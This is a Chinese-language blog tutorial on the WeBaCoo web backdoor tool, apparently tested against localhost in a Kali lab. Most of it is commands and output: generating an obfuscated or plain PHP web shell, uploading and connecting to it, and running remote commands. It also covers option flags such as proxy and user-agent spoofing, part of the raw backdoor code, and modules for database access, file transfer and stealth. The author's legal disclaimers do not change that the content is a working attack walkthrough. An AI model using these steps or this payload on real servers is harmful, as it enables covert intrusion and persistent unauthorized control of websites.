简单的记录一下webacoo和weevely的使用学习,本文是webacoo。本文的环境都是在自己的机器上搭的。工具是好工具,切勿滥用。
初探据说这个工具是通过cookie传递信息的。
- 创建一个webshell:在当前目录下创建一个shell.php
notroot@kali:~$ webacoo -g -o shell.php WeBaCoo 0.2.3 - Web Backdoor cookie script-Kit Copyright (C) 2011-2012 Anestis Bechtsoudis { @anestisb | [email protected] | http(s)://bechtsoudis.com } [+] Backdoor file "shell.php" created.
- 连接shell:将webshell上传至目标网站,明确路径,然后连接。
notroot@kali:~$ webacoo -u http://127.0.0.1/shell.php -t WeBaCoo 0.2.3 - Web Backdoor cookie script-Kit Copyright (C) 2011-2012 Anestis Bechtsoudis { @anestisb | [email protected] | http(s)://bechtsoudis.com } [+] Connecting to remote server as... uid=33(www-data) gid=33(www-data) groups=33(www-data) [*] Type 'load' to use an extension module. [*] Type ':' to run local OS commands. [*] Type 'exit' to quit terminal. webacoo$
- 执行命令:
webacoo$ ls index.html index.nginx-debian.html phpinfo.php shell.php webacoo$
- 结束。webacoo的简单使用就完成了。
本来是想用man看一下的,然后发现并没有这个手册。所以只能使用-h参数查看下使用帮助。执行结果如下。
notroot@kali:~$ webacoo -h WeBaCoo 0.2.3 - Web Backdoor cookie script-Kit Copyright (C) 2011-2012 Anestis Bechtsoudis { @anestisb | [email protected] | http(s)://bechtsoudis.com } Usage: webacoo [options] Options: -g Generate backdoor code (-o is required) -f FUNCTION PHP System function to use FUNCTION 1: system (default) 2: shell_exec 3: exec 4: passthru 5: popen -o OUTPUT Generated backdoor output filename -r Return un-obfuscated backdoor code -t Establish remote "terminal" connection (-u is required) -u URL Backdoor URL -e CMD Single command execution mode (-t and -u are required) -m METHOD HTTP method to be used (default is GET) -c C_NAME cookie name (default: "M-cookie") -d DELIM Delimiter (default: New random for each request) -a AGENT HTTP header user-agent (default exist) -p PROXY Use proxy (tor, ip:port or user:pass:ip:port) -v LEVEL Verbose level LEVEL 0: no additional info (default) 1: print HTTP headers 2: print HTTP headers + data -l LOG Log activity to file -h Display help and exit update Check for updates and apply if any
接下来就用表格解释个一下各个参数的作用。
参数- 参数功能解释
- 部分参数使用示例
# 以exec为命令执行的函数,并且不混淆 notroot@kali:~$ webacoo -g -f 3 -r -o shell.php # 结果 notroot@kali:~$ cat shell.php &1', $d);echo(join("n",$d)."n");setcookie($_cookie['cn'],$_cookie['cp'].base64_encode(ob_get_contents()).$_cookie['cp']);ob_end_clean();} ?> # 输出头部信息,并且以post方式通信 notroot@kali:~$ webacoo -u http://127.0.0.1/shell.php -t -v 2 -m post # 使用代理,127.0.0.1:8080 notroot@kali:~$ webacoo -u http://127.0.0.1/shell.php -t -p 127.0.0.1:8080 # 指定一个通信的user-agent:aaa notroot@kali:~$ webacoo -u http://127.0.0.1/shell.php -t -v 1 -a aaaa # 仅执行ls命令 notroot@kali:~$ webacoo -u http://127.0.0.1/shell.php -t -e ls模块
- 查看模块。webacoo也有一些模块。查看有哪些模块的方式如下:
webacoo$ load Currently available extension modules: o MySQL-CLI: MySQL Command Line Module mysql-cli(ex. 'mysql-cli 10.0.1.11 admin pAsS') o PSQL-CLI: Postgres Command Line Module psql-cli (ex. 'psql-cli 10.0.1.12 testDB root pAsS') o Upload: File Upload Module upload (ex. 'upload exploit.c /tmp/') o Download: File Download Module download (ex. 'download config.php') o Stealth: Enhance Stealth Module stealth (ex. 'stealth /var/www/html')
- 模块功能。因为都有使用示例,比较清晰易懂,所以只写一下各个模块的功能了。
- 模块使用。使用的时候每个模块名的字符都是小写的,不要被表格给误导了。
# 正确用法 webacoo$ load > stealth /tmp/ # 错误用法 webacoo$ load stealth /tmp/总结
还是那句话,仅学习使用,文中的环境是自己在虚拟机上搭的,工具是好工具,切勿滥用。如果想拿人家的服务器开刀的话,请多学习学习刑法、网络安全法等相关法律
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)